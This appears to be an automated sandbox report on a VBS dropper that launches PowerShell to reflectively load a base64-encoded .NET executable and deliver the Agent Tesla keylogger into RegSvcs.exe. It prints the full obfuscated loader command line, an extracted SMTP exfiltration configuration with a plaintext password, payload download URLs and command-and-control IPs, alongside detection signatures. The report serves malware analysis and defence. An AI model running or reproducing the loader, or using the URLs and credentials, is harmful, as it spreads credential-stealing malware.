AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAADAAAALQ0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==');[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] (' ??v?}???@+@ ?@@ ??v?}??.so!}( }4}? ?4*?*?#:?*(+ (*(+ (v.4*?*?#:?sr8*??(su4*?*?#:?4}? ?lo_8*??(garo ??v?}??s4*?*?#:?!}( }il*(+ (up4*?*?#:?4}? ?m. ??v?}??n8*??(r8*??(girf8*??(rkroy4*?*?#:?4*?*?#:??? }??+?sp ??v?}?? ??v?}???*(??@*?')) MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 5988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

RegSvcs.exe (PID: 1236 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe MD5: 2867A3817C9245F7CF518524DFD18F28)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based keylogger and RAT readily available to actors. Logs keystrokes and the host's clipboard and beacons this information back to the C2.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/ https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Host": "mail.hermosanairobi.com", "Username": "security@hermosanairobi.com", "Password": "    mcdsew70@_+lks44          "}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	SUSP_Reversed_Base64_Encoded_EXE	Detects an base64 encoded executable with reversed characters	Florian Roth (Nextron Systems)	0x6979a:$s5: AEAAAAMAAQqVT 0x6970b:$sh3: uUGZv1GIT9ERg4Wag4WdyBSZiBCdv5mbhNGItFmcn9mcwBycphGV

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.317073094.0000028B41F4C000.00000004.00000800.00020000.00000000.sdmp	SUSP_Reversed_Base64_Encoded_EXE	Detects an base64 encoded executable with reversed characters	Florian Roth (Nextron Systems)	0x27ac3:$s5: AEAAAAMAAQqVT 0x27a34:$sh3: uUGZv1GIT9ERg4Wag4WdyBSZiBCdv5mbhNGItFmcn9mcwBycphGV
00000001.00000002.311807350.0000028B3235B000.00000004.00000800.00020000.00000000.sdmp	SUSP_Reversed_Base64_Encoded_EXE	Detects an base64 encoded executable with reversed characters	Florian Roth (Nextron Systems)	0x1270:$s5: AEAAAAMAAQqVT 0x11e1:$sh3: uUGZv1GIT9ERg4Wag4WdyBSZiBCdv5mbhNGItFmcn9mcwBycphGV
00000003.00000002.822490552.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.822490552.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.311807350.0000028B3235F000.00000004.00000800.00020000.00000000.sdmp	SUSP_Reversed_Base64_Encoded_EXE	Detects an base64 encoded executable with reversed characters	Florian Roth (Nextron Systems)	0x14a2b:$s5: AEAAAAMAAQqVT 0x1499c:$sh3: uUGZv1GIT9ERg4Wag4WdyBSZiBCdv5mbhNGItFmcn9mcwBycphGV
00000001.00000002.317073094.0000028B41FAD000.00000004.00000800.00020000.00000000.sdmp	SUSP_Reversed_Base64_Encoded_EXE	Detects an base64 encoded executable with reversed characters	Florian Roth (Nextron Systems)	0x36afb:$s5: AEAAAAMAAQqVT 0x36a6c:$sh3: uUGZv1GIT9ERg4Wag4WdyBSZiBCdv5mbhNGItFmcn9mcwBycphGV
Process Memory Space: powershell.exe PID: 6008	SUSP_Reversed_Base64_Encoded_EXE	Detects an base64 encoded executable with reversed characters	Florian Roth (Nextron Systems)	0xa8f37:$s5: AEAAAAMAAQqVT 0xe8e68:$s5: AEAAAAMAAQqVT 0x14437a:$s5: AEAAAAMAAQqVT 0x1ef23c:$s5: AEAAAAMAAQqVT 0x225f95:$s5: AEAAAAMAAQqVT 0xa8ea8:$sh3: uUGZv1GIT9ERg4Wag4WdyBSZiBCdv5mbhNGItFmcn9mcwBycphGV 0xe8dd9:$sh3: uUGZv1GIT9ERg4Wag4WdyBSZiBCdv5mbhNGItFmcn9mcwBycphGV 0x1442eb:$sh3: uUGZv1GIT9ERg4Wag4WdyBSZiBCdv5mbhNGItFmcn9mcwBycphGV 0x1ef1ad:$sh3: uUGZv1GIT9ERg4Wag4WdyBSZiBCdv5mbhNGItFmcn9mcwBycphGV 0x225f06:$sh3: uUGZv1GIT9ERg4Wag4WdyBSZiBCdv5mbhNGItFmcn9mcwBycphGV
Process Memory Space: RegSvcs.exe PID: 1236	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegSvcs.exe PID: 1236	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.powershell.exe.28b32159f18.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_4464.amsi.csv	WScript_Shell_PowerShell_Combo	Detects malware from Middle Eastern campaign reported by Talos	Florian Roth (Nextron Systems)	0xda:$s1: .CreateObject("WScript.Shell") 0x10c:$p1: powershell.exe

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.5 - Destination IP: 192.81.170.3

Timestamp:	192.168.2.5192.81.170.349696262851779 03/20/23-11:39:22.276555
SID:	2851779
Source Port:	49696
Destination Port:	26
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: GJ890-1286.vbs

ReversingLabs: Detection: 12%

Source: 3.2.RegSvcs.exe.400000.0.unpack

Avira: Label: TR/Spy.Gen8

Source: 3.2.RegSvcs.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Host": "mail.hermosanairobi.com", "Username": "security@hermosanairobi.com", "Password": " mcdsew70@_+lks44 "}

Source: unknown

HTTPS traffic detected: 195.178.106.125:443 -> 192.168.2.5:49695 version: TLS 1.0

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.5:49696 -> 192.81.170.3:26

Yara detected Generic Downloader

Source: Yara match

File source: 1.2.powershell.exe.28b32159f18.0.raw.unpack, type: UNPACKEDPE

Source: Joe Sandbox View

ASN Name: AS-UPTIMECA AS-UPTIMECA

Source: Joe Sandbox View

JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad

Source: global traffic

HTTP traffic detected: GET /public/storage_old/users/.vbb/dcos.txt HTTP/1.1Host: yorkrefrigerent.mdConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 192.81.170.3 192.81.170.3
Source: Joe Sandbox View	IP Address: 195.178.106.125 195.178.106.125

Source: unknown

HTTPS traffic detected: 195.178.106.125:443 -> 192.168.2.5:49695 version: TLS 1.0

Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695

Source: powershell.exe, 00000001.00000002.319201526.0000028B4A443000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: RegSvcs.exe, 00000003.00000002.822490552.0000000002BF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://hermosanairobi.com
Source: RegSvcs.exe, 00000003.00000002.822490552.0000000002BF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.hermosanairobi.com
Source: powershell.exe, 00000001.00000002.311807350.0000028B31EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000001.00000002.311807350.0000028B3233C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://yorkrefrigerent.md
Source: powershell.exe, 00000001.00000002.311807350.0000028B32329000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yorkrefrigerent.md
Source: powershell.exe, 00000001.00000003.310430015.0000028B4A5B0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.311807350.0000028B320F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yorkrefrigerent.md/public/storage_old/users/.vbb/dcos.txt
Source: powershell.exe, 00000001.00000002.311807350.0000028B32336000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yorkrefrigerent.mdx

Source: unknown

DNS traffic detected: queries for: yorkrefrigerent.md

Source: global traffic

HTTP traffic detected: GET /public/storage_old/users/.vbb/dcos.txt HTTP/1.1Host: yorkrefrigerent.mdConnection: Keep-Alive

System Summary

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDALAZ+mMAAAAAAAAAAOAAAiELAVAAACYAAAAGAAAAAAAAskQAAAAgAAAAYAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACgAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAGBEAABPAAAAAGAAACgDAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAuCQAAAAgAAAAJgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAACgDAAAAYAAAAAQAAAAoAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAIAAAAACAAAALAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACURAAAAAAAAEgAAAACAAUAxCgAAOQaAAADAAAAAAAAAKhDAAC4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4CKAEAAAoqHgIoAwAACiqmcwQAAAqAAQAABHMFAAAKgAIAAARzBgAACoADAAAEcwcAAAqABAAABCoufgEAAARvCAAACioufgIAAARvCQAACioufgMAAARvCgAACioufgQAAARvCwAACirWfgUAAAQUKBoAAAosAisGfgUAAAQqcgEAAHDQBQAAAigPAAAKbxsAAApzHAAACoAFAAAEK9oafgYAAAQqHgKABgAABCpWcwwAAAYoHQAACnQGAAACgAcAAAQqHgIoHgAACioafgcAAAQqGigNAAAGKh4CKBIAAAoqABMwBABAAAAAAQAAEXIhAABwCxYrARZFAgAAAAIAAAAYAAAAKx8XDAd+IAAACgIXKBsAAAYsBxcKFyvbKw0IF9YMGCvSCBsx3xYKBiobMAoABQQAAAIAABFylQAAcAIoIQAACgwWKwEWRQMAAAACAAAADQAAABgAAAArIRID/hUPAAACFyviEgT+FQ4AAAIYK9cSAxZ9GAAABBkrzBID0A8AAAIoDwAACigiAAAKuH0NAAAEAygjAAAKLQ0IcqEAAHADKCQAAAoMAgh+JQAACn4lAAAKFhp+JQAAChQSAxIEKBAAAAYtBnMmAAAKegQfPCgnAAAKEwUWKwEWRRQAAAAFAAAAFQAAACQAAAAzAAAAdAAAAMAAAADTAAAA8gAAAAIBAABQAQAAZQEAAG8BAACIAQAAnAEAALABAADIAQAA3gEAAA0CAAAsAgAAXQIAADhxAgAABBEFHzTWKCcAAAoTBhcrliCzAAAAjQkAAAETBxgrhxEHFiACAAEAnhk4eP///ygoAAAKGjMWEQR7CgAABBEHKBEAAAYtHHMmAAAKehEEewoAAAQRBygSAAAGLQZzJgAACnoRBx8plBMIGjg3////EQR7CQAABBEIHtYSCRoSASgVAAAGLQZzJgAACnoRBhEJMxYRBHsJAAAEEQkoFwAABiwGcyYAAAp6BBEFH1DWKCcAAAoTChs46/7//wQRBR9U1ignAAAKEwscONj+//8RBHsJAAAEEQYRCiAAMAAAH0AoGAAABhMNHTi5/v//BS0lEQ0tIRcTDB44qf7//xEEewkAAAQWEQogADAAAB9AKBgAAAYTDRENLQZzJgAACnoRBHsJAAAEEQ0EEQsSASgWAAAGLQZzJgAACnoRBSD4AAAA1hMOHwk4W/7//wQRBRzWKCkAAAoX2hMRHwo4Rv7//xYTEh8LODz+//84nwAAAAQRDh8M1ignAAAKExMfDDgj/v//BBEOHxDWKCcAAAoTFB8NOA/+//8EEQ4fFNYoJwAAChMVHw44+/3//xEULEsRFBfaF9aNGwAAARMWHw844/3//wQRFREWFhEWjmkoKgAACh8QOM39//8RBHsJAAAEEQ0RE9YRFhEWjmkSASgWAAAGLQZzJgAACnoRDh8o1hMOHxE4nv3//xESF9YTEhESERE+WP///xENKCsAAAoTDx8SOH/9//8RBHsJAAAEEQge1hEPGhIBKBYAAAYtBnMmAAAKegQRBR8o1ignAAAKExAfEzhO/f//EQwsBBEGEw0RBx8sEQ0RENaeHxQ4Nf3//ygoAAAKGjMWEQR7CgAABBEHKBMAAAYtHHMmAAAKehEEewoAAAQRBygUAAAGLQZzJgAACnoRBHsKAAAEKBkAAAYVMwZzJgAACnreSCgsAAAKFisBFkUDAAAAAgAAABQAAAAkAAAAKyoRBHsLAAAEhCgtAAAKExcXK9sRFywHERdvLgAAChYKGCvLKC8AAAoZK8PeAhcKBioAAABBHAAAAAAAAFsAAABeAwAAuQMAAEgAAAAYAAABHgIoEgAACiobMAQA7QAAAAMAABFzMAAACiUoMQAACm8yAAAKAigzAAAKKDQAAApypQAAcHKxAABwbzUAAApytQAAcHLDAABwbzUAAApyxwAAcHLTAABwbzUAAApy1wAAcHLjAABwbzUAAApy5wAAcHL5AABwbzUAAApy/QAAcHIPAQBwbzUAAApyEwEAcHIlAQBwbzUAAApyK
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDALAZ+mMAAAAAAAAAAOAAAiELAVAAACYAAAAGAAAAAAAAskQAAAAgAAAAYAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACgAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAGBEAABPAAAAAGAAACgDAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAuCQAAAAgAAAAJgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAACgDAAAAYAAAAAQAAAAoAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAIAAAAACAAAALAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACURAAAAAAAAEgAAAACAAUAxCgAAOQaAAADAAAAAAAAAKhDAAC4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4CKAEAAAoqHgIoAwAACiqmcwQAAAqAAQAABHMFAAAKgAIAAARzBgAACoADAAAEcwcAAAqABAAABCoufgEAAARvCAAACioufgIAAARvCQAACioufgMAAARvCgAACioufgQAAARvCwAACirWfgUAAAQUKBoAAAosAisGfgUAAAQqcgEAAHDQBQAAAigPAAAKbxsAAApzHAAACoAFAAAEK9oafgYAAAQqHgKABgAABCpWcwwAAAYoHQAACnQGAAACgAcAAAQqHgIoHgAACioafgcAAAQqGigNAAAGKh4CKBIAAAoqABMwBABAAAAAAQAAEXIhAABwCxYrARZFAgAAAAIAAAAYAAAAKx8XDAd+IAAACgIXKBsAAAYsBxcKFyvbKw0IF9YMGCvSCBsx3xYKBiobMAoABQQAAAIAABFylQAAcAIoIQAACgwWKwEWRQMAAAACAAAADQAAABgAAAArIRID/hUPAAACFyviEgT+FQ4AAAIYK9cSAxZ9GAAABBkrzBID0A8AAAIoDwAACigiAAAKuH0NAAAEAygjAAAKLQ0IcqEAAHADKCQAAAoMAgh+JQAACn4lAAAKFhp+JQAAChQSAxIEKBAAAAYtBnMmAAAKegQfPCgnAAAKEwUWKwEWRRQAAAAFAAAAFQAAACQAAAAzAAAAdAAAAMAAAADTAAAA8gAAAAIBAABQAQAAZQEAAG8BAACIAQAAnAEAALABAADIAQAA3gEAAA0CAAAsAgAAXQIAADhxAgAABBEFHzTWKCcAAAoTBhcrliCzAAAAjQkAAAETBxgrhxEHFiACAAEAnhk4eP///ygoAAAKGjMWEQR7CgAABBEHKBEAAAYtHHMmAAAKehEEewoAAAQRBygSAAAGLQZzJgAACnoRBx8plBMIGjg3////EQR7CQAABBEIHtYSCRoSASgVAAAGLQZzJgAACnoRBhEJMxYRBHsJAAAEEQkoFwAABiwGcyYAAAp6BBEFH1DWKCcAAAoTChs46/7//wQRBR9U1ignAAAKEwscONj+//8RBHsJAAAEEQYRCiAAMAAAH0AoGAAABhMNHTi5/v//BS0lEQ0tIRcTDB44qf7//xEEewkAAAQWEQogADAAAB9AKBgAAAYTDRENLQZzJgAACnoRBHsJAAAEEQ0EEQsSASgWAAAGLQZzJgAACnoRBSD4AAAA1hMOHwk4W/7//wQRBRzWKCkAAAoX2hMRHwo4Rv7//xYTEh8LODz+//84nwAAAAQRDh8M1ignAAAKExMfDDgj/v//BBEOHxDWKCcAAAoTFB8NOA/+//8EEQ4fFNYoJwAAChMVHw44+/3//xEULEsRFBfaF9aNGwAAARMWHw844/3//wQRFREWFhEWjmkoKgAACh8QOM39//8RBHsJAAAEEQ0RE9YRFhEWjmkSASgWAAAGLQZzJgAACnoRDh8o1hMOHxE4nv3//xESF9YTEhESERE+WP///xENKCsAAAoTDx8SOH/9//8RBHsJAAAEEQge1hEPGhIBKBYAAAYtBnMmAAAKegQRBR8o1ignAAAKExAfEzhO/f//EQwsBBEGEw0RBx8sEQ0RENaeHxQ4Nf3//ygoAAAKGjMWEQR7CgAABBEHKBMAAAYtHHMmAAAKehEEewoAAAQRBygUAAAGLQZzJgAACnoRBHsKAAAEKBkAAAYVMwZzJgAACnreSCgsAAAKFisBFkUDAAAAAgAAABQAAAAkAAAAKyoRBHsLAAAEhCgtAAAKExcXK9sRFywHERdvLgAAChYKGCvLKC8AAAoZK8PeAhcKBioAAABBHAAAAAAAAFsAAABeAwAAuQMAAEgAAAAYAAABHgIoEgAACiobMAQA7QAAAAMAABFzMAAACiUoMQAACm8yAAAKAigzAAAKKDQAAApypQAAcHKxAABwbzUAAApytQAAcHLDAABwbzUAAApyxwAAcHLTAABwbzUAAApy1wAAcHLjAABwbzUAAApy5wAAcHL5AABwbzUAAApy/QAAcHIPAQBwbzUAAApyEwEAcHIlAQBwbzUAAApyK

Very long command line found

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 16166
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 16166

Source: amsi64_4464.amsi.csv, type: OTHER	Matched rule: WScript_Shell_PowerShell_Combo date = 2018-02-07, author = Florian Roth (Nextron Systems), description = Detects malware from Middle Eastern campaign reported by Talos, score = 15f5aaa71bfa3d62fd558a3e88dd5ba26f7638bf2ac653b8d6b8d54dc7e5926b, reference = http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: sslproxydump.pcap, type: PCAP	Matched rule: SUSP_Reversed_Base64_Encoded_EXE date = 2020-04-06, author = Florian Roth (Nextron Systems), description = Detects an base64 encoded executable with reversed characters, score = 7e6d9a5d3b26fd1af7d58be68f524c4c55285b78304a65ec43073b139c9407a8, reference = Internal Research
Source: 00000001.00000002.317073094.0000028B41F4C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Reversed_Base64_Encoded_EXE date = 2020-04-06, author = Florian Roth (Nextron Systems), description = Detects an base64 encoded executable with reversed characters, score = 7e6d9a5d3b26fd1af7d58be68f524c4c55285b78304a65ec43073b139c9407a8, reference = Internal Research
Source: 00000001.00000002.311807350.0000028B3235B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Reversed_Base64_Encoded_EXE date = 2020-04-06, author = Florian Roth (Nextron Systems), description = Detects an base64 encoded executable with reversed characters, score = 7e6d9a5d3b26fd1af7d58be68f524c4c55285b78304a65ec43073b139c9407a8, reference = Internal Research
Source: 00000001.00000002.311807350.0000028B3235F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Reversed_Base64_Encoded_EXE date = 2020-04-06, author = Florian Roth (Nextron Systems), description = Detects an base64 encoded executable with reversed characters, score = 7e6d9a5d3b26fd1af7d58be68f524c4c55285b78304a65ec43073b139c9407a8, reference = Internal Research
Source: 00000001.00000002.317073094.0000028B41FAD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Reversed_Base64_Encoded_EXE date = 2020-04-06, author = Florian Roth (Nextron Systems), description = Detects an base64 encoded executable with reversed characters, score = 7e6d9a5d3b26fd1af7d58be68f524c4c55285b78304a65ec43073b139c9407a8, reference = Internal Research
Source: Process Memory Space: powershell.exe PID: 6008, type: MEMORYSTR	Matched rule: SUSP_Reversed_Base64_Encoded_EXE date = 2020-04-06, author = Florian Roth (Nextron Systems), description = Detects an base64 encoded executable with reversed characters, score = 7e6d9a5d3b26fd1af7d58be68f524c4c55285b78304a65ec43073b139c9407a8, reference = Internal Research

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FF9A5A720C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_00F4A9D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_00F4C998
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_00F49DC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_00F4A108

Source: GJ890-1286.vbs

Initial sample: Strings found which are bigger than 50

Source: GJ890-1286.vbs

ReversingLabs: Detection: 12%

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\GJ890-1286.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string('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